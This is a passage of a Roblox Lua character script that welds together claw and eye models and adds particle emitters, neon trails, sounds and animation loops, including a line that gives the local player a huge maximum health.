  2929. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2930. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2931. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2932. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2933. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2934. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2935. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2936. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2937. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2938. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2939.  
  2940. local modelzorzz2=Instance.new("Model")
  2941. modelzorzz2.Parent=Character
  2942. modelzorzz2.Name="Claw2"
  2943.  
  2944. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2945. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2946. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2947. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2948. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2949. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2950. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2951. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2952. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2953. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2954. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2955. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2956. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2957. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2958. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2959. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2960. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2961. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2962. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2963. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2964. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2965. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2966. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2967. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2968. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2969. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2970. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2971. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2972. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2973. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2974. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2975. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2976. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2977. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2978. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2979. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2980. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2981. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2982. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2983. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(2.20000005, 1, 1))
  2984. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2985.  
  2986. local modelzorzz3=Instance.new("Model")
  2987. modelzorzz3.Parent=Character
  2988. modelzorzz3.Name="Eye"
  2989.  
  2990. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2991. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2992. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2993. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2994. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2995. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2996. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2997. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2998. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2999. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Part",Vector3.new(3.79999995, 4, 1.39999998))
  3000. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3001. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  3002. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  3003. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3004. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  3005. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3006. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  3007. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3008. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3009. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3010. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  3011. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Baby blue","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3012. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  3013.  
  3014. p = game.Players.LocalPlayer
  3015. char = p.Character
  3016. torso = char.Torso
  3017. neck = char.Torso.Neck
  3018. hum = char.Humanoid
  3019. hum.MaxHealth = 1000000000
  3020. wait()
  3021. hum.Health =hum.MaxHealth
  3022.  
  3023. local particleemitter = Instance.new("ParticleEmitter", Handle)
  3024. particleemitter.VelocitySpread = 180
  3025. particleemitter.Lifetime = NumberRange.new(0.1)
  3026. particleemitter.Speed = NumberRange.new(2)
  3027. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3028. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3029. particleemitter.Rate = 100
  3030. particleemitter.Rotation = NumberRange.new(-45, 45)
  3031. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3032. particleemitter.LightEmission = 0.8
  3033. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3034.  
  3035. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  3036. particleemitter.VelocitySpread = 180
  3037. particleemitter.Lifetime = NumberRange.new(0.1)
  3038. particleemitter.Speed = NumberRange.new(2)
  3039. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3040. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3041. particleemitter.Rate = 100
  3042. particleemitter.Rotation = NumberRange.new(-45, 45)
  3043. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3044. particleemitter.LightEmission = 0.8
  3045. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3046.  
  3047. local particleemitter = Instance.new("ParticleEmitter", handle)
  3048. particleemitter.VelocitySpread = 180
  3049. particleemitter.Lifetime = NumberRange.new(0.1)
  3050. particleemitter.Speed = NumberRange.new(2)
  3051. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  3052. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3053. particleemitter.Rate = 100
  3054. particleemitter.Rotation = NumberRange.new(-45, 45)
  3055. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3056. particleemitter.LightEmission = 0.8
  3057. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3058.  
  3059. particleemitter.Enabled = true
  3060. MagicCircle(BrickColor.new("Baby blue"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  3061. MagicCircle(BrickColor.new("Baby blue"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  3062. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  3063. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  3064. for i=0,1,0.005 do
  3065. swait()
  3066. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3067. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3068. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3069. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3070. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3071. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3072. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3073. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3074. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3075. end
  3076. for i=0,1,0.04 do
  3077. swait()
  3078. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3079. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3080. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3081. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3082. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3083. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3084. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3085. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3086. end
  3087. attack = false
  3088. end
  3089. end
  3090. end)
  3091.  
  3092. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3093. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3094. prt.Anchored=true
  3095. prt.CFrame=cframe
  3096. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3097. game:GetService("Debris"):AddItem(prt,2)
  3098. coroutine.resume(coroutine.create(function(Part,Mesh)
  3099. for i=0,1,delay do
  3100. wait()
  3101. Part.CFrame=Part.CFrame
  3102. Part.Transparency=i
  3103. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3104. end
  3105. Part.Parent=nil
  3106. end),prt,msh)
  3107. end
  3108.  
  3109. TrailDeb = false
  3110.  
  3111. function equipanim()
  3112. attack=true
  3113. Humanoid.WalkSpeed = 0
  3114. if TrailDeb == false then
  3115. TrailDeb = true
  3116. end
  3117.  
  3118.  
  3119. coroutine.wrap(function()
  3120. local Old = handle.CFrame.p
  3121. while wait()do
  3122. if not TrailDeb then break end
  3123. local New = handle.CFrame.p
  3124. local Mag =(Old -New).magnitude
  3125. local Dis =(Old +New)/2
  3126. local Trail = Instance.new("Part",Character)
  3127. Trail.Material = "Neon"
  3128. Trail.Anchored = true
  3129. Trail.CanCollide = false
  3130. Trail.BrickColor = TorsoColor
  3131. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3132. Trail.TopSurface = 0
  3133. Trail.BottomSurface = 0
  3134. Trail.formFactor = "Custom"
  3135. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3136. local ms = Instance.new("BlockMesh",Trail)
  3137. ms.Scale = Vector3.new(1,1,1)
  3138. local TM = Instance.new("CylinderMesh",Trail)
  3139. TM.Scale = Vector3.new(1,1,1)
  3140. Old = New
  3141. coroutine.wrap(function()
  3142. for i = 1,0,-0.1 do
  3143. wait()
  3144. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3145. end
  3146. Trail:remove()
  3147. end)()
  3148. coroutine.wrap(function()
  3149. for i = 1,10 do
  3150. wait()
  3151. Trail.Transparency = Trail.Transparency +0.1
  3152. end end)()end end)()
  3153. coroutine.wrap(function()
  3154. local Old = Handle.CFrame.p
  3155. while wait()do
  3156. if not TrailDeb then break end
  3157. local New = Handle.CFrame.p
  3158. local Mag =(Old -New).magnitude
  3159. local Dis =(Old +New)/2
  3160. local Trail = Instance.new("Part",Character)
  3161. Trail.Material = "Neon"
  3162. Trail.Anchored = true
  3163. Trail.CanCollide = false
  3164. Trail.BrickColor = TorsoColor
  3165. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3166. Trail.TopSurface = 0
  3167. Trail.BottomSurface = 0
  3168. Trail.formFactor = "Custom"
  3169. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3170. local ms = Instance.new("BlockMesh",Trail)
  3171. ms.Scale = Vector3.new(1,1,1)
  3172. local TM = Instance.new("CylinderMesh",Trail)
  3173. TM.Scale = Vector3.new(1,1,1)
  3174. Old = New
  3175. coroutine.wrap(function()
  3176. for i = 1,0,-0.1 do
  3177. wait()
  3178. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3179. end
  3180. Trail:remove()
  3181. end)()
  3182. coroutine.wrap(function()
  3183. for i = 1,10 do
  3184. wait()
  3185. Trail.Transparency = Trail.Transparency +0.1
  3186. end end)()end end)()
  3187. coroutine.wrap(function()
  3188. local Old = Handle2.CFrame.p
  3189. while wait()do
  3190. if not TrailDeb then break end
  3191. local New = Handle2.CFrame.p
  3192. local Mag =(Old -New).magnitude
  3193. local Dis =(Old +New)/2
  3194. local Trail = Instance.new("Part",Character)
  3195. Trail.Material = "Neon"
  3196. Trail.Anchored = true
  3197. Trail.CanCollide = false
  3198. Trail.BrickColor = TorsoColor
  3199. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3200. Trail.TopSurface = 0
  3201. Trail.BottomSurface = 0
  3202. Trail.formFactor = "Custom"
  3203. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3204. local ms = Instance.new("BlockMesh",Trail)
  3205. ms.Scale = Vector3.new(1,1,1)
  3206. local TM = Instance.new("CylinderMesh",Trail)
  3207. TM.Scale = Vector3.new(1,1,1)
  3208. Old = New
  3209. coroutine.wrap(function()
  3210. for i = 1,0,-0.1 do
  3211. wait()
  3212. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3213. end
  3214. Trail:remove()
  3215. end)()
  3216. coroutine.wrap(function()
  3217. for i = 1,10 do
  3218. wait()
  3219. Trail.Transparency = Trail.Transparency +0.1
  3220. end end)()end end)()
  3221. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3222. for i=0,1,0.005 do
  3223. swait()
  3224. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  3225. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3226. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3227. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3228. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3229. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3230. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3231. end
  3232. for i=0,1,0.005 do
  3233. swait()
  3234. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3235. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3236. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3237. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3238. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3239. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3240. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3241. end
  3242. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3243. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3244. for i=0,1,0.005 do
  3245. swait()
  3246. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3247. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3248. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3249. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3250. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3251. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
